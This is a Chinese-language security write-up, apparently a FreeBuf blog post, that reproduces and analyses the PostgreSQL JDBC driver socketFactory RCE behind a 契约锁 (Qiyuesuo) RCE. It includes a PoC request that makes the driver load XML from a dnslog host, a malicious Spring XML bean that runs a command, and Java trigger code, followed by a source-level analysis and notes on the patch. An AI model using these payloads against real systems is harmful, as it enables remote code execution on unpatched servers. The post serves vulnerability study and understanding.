前言
最近看到了契约锁rce,看了文章中的poc:
/api/setup/dbtest?db=POSTGRESQL&host=localhost&port=5321&username=root&name=test%2F%3FsocketFactory%3Dorg%2Espringframework%2Econtext%2Esupport%2EClassPathXmlApplicationContext%26socketFactoryArg%3Dhttp%3A%2F%2Fxxx.dnslog.cn%2F1%2Exml
针对这个poc的话就是 PostgreSQL JDBC Driver RCE漏洞,于是便简单复现与分析一下漏洞
复现
漏洞版本:
• < 42.2.25
• >= 42.3.0,< 42.3.2
本地pom.xml:
<dependency>
<groupId>org.postgresql</groupId>
<artifactId>postgresql</artifactId>
<version>42.3.1</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
<version>5.3.20</version>
</dependency>
postgresql下载:https://www.enterprisedb.com/download-postgresql-binaries
搭建就不详细说了
恶意xml文件:
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd"><bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd.exe</value>
<value>/c</value>
<value>calc.exe</value>
</list>
</constructor-arg>
</bean>
</beans>
然后启动postgresql,在xml文件起一个http服务 :python -m http.server 9090
运行下面的代码:
//路径和数据库账号密码是自己的
public class postgrejdbcrce {
public static void main(String[] args) throws SQLException {String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext";
String socketFactoryArg = "http://127.0.0.1:8080/test.xml";
String jdbcUrl = "jdbc:postgresql://127.0.0.1:5432/test/?socketFactory="+socketFactoryClass+ "&socketFactoryArg="+socketFactoryArg;
Connection connection = DriverManager.getConnection(jdbcUrl,"postgres","root");
//ClassPathXmlApplicationContext cxa = new ClassPathXmlApplicationContext(socketFactoryArg);}
}
成功执行命令:

漏洞分析
其实漏洞触发点在于 ObjectFactory() 类中的 instantiate 函数进行了反射,如下:
public static Object instantiate(String classname, Properties info, boolean tryString, String stringarg) throws ClassNotFoundException, SecurityException, NoSuchMethodException, IllegalArgumentException, InstantiationException, IllegalAccessException, InvocationTargetException {
Object[] args = new Object[]{info};
Constructor<?> ctor = null;
Class<?> cls = Class.forName(classname);try {
ctor = cls.getConstructor(Properties.class);
} catch (NoSuchMethodException var9) {
}
if (tryString && ctor == null) {
try {
ctor = cls.getConstructor(String.class);
args = new String[]{stringarg};
} catch (NoSuchMethodException var8) {
}
}
if (ctor == null) {
ctor = cls.getConstructor();
args = new Object[0];
}
return ctor.newInstance((Object[])args);
}
其中的参数 classname 就是传入的参数中的 socketFactory,也就是org.springframework.context.support.ClassPathXmlApplicationContext,info就是 socketFactoryArg ,也就是传入的恶意xml,所以这里就是反射实例化 ClassPathXmlApplicationContext 类的参数是String 的构造函数,效果就相当于:
ClassPathXmlApplicationContext cxa = new ClassPathXmlApplicationContext("http://127.0.0.1:8080/test.xml");
//也就是解析xml
前面的各种步骤最终都是落到这一个反射点,咱可以大致看一下:
先进入Driver类的connect函数:

其中有一个parseurl 函数来解析提取出参数:


可以看到前几步 先是找到 ? 字符的位置,然后以此把参数分离出来到urlArgs这个变量里,然后再去掉jdbc:postgresql:这个前缀,然后再提取出每一个参数,url,port这些信息,最后存储到urlProps里,再返回给调用它的函数,中间还会进行url解码,对应开头的poc进行了url编码。然后后面其实就相当于是在一直把参数传来传去的,最后传入反射存在点那里
浅看一下继续下去是怎么传的:
传入到connectionFactory.openConnectionImpl()中,参数info就是上面的uriProps,即包含了参数、url、port信息,如下图:

接着在其中会调用SocketFactoryFactory.getSocketFactory(info),info就是上面的info,如下图:

跟进去,发现了里面调用了上面提到的反射点,instantiate()方法,info还是上面的info,跟进去就是反射了:


也不长也很容易看明白,又看了一下后面的版本修复方法,以42.5.0为例,里面是已经删除了SocketFactoryFactory的用法,固然这种打法也不起作用了,详细的可以自己调试看一下
总结
总的来说,首先是jdbc连接池参数可控,这也是契约锁rce漏洞所在处,然后版本存在漏洞
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf
客服小蜜蜂(微信:freebee1024)



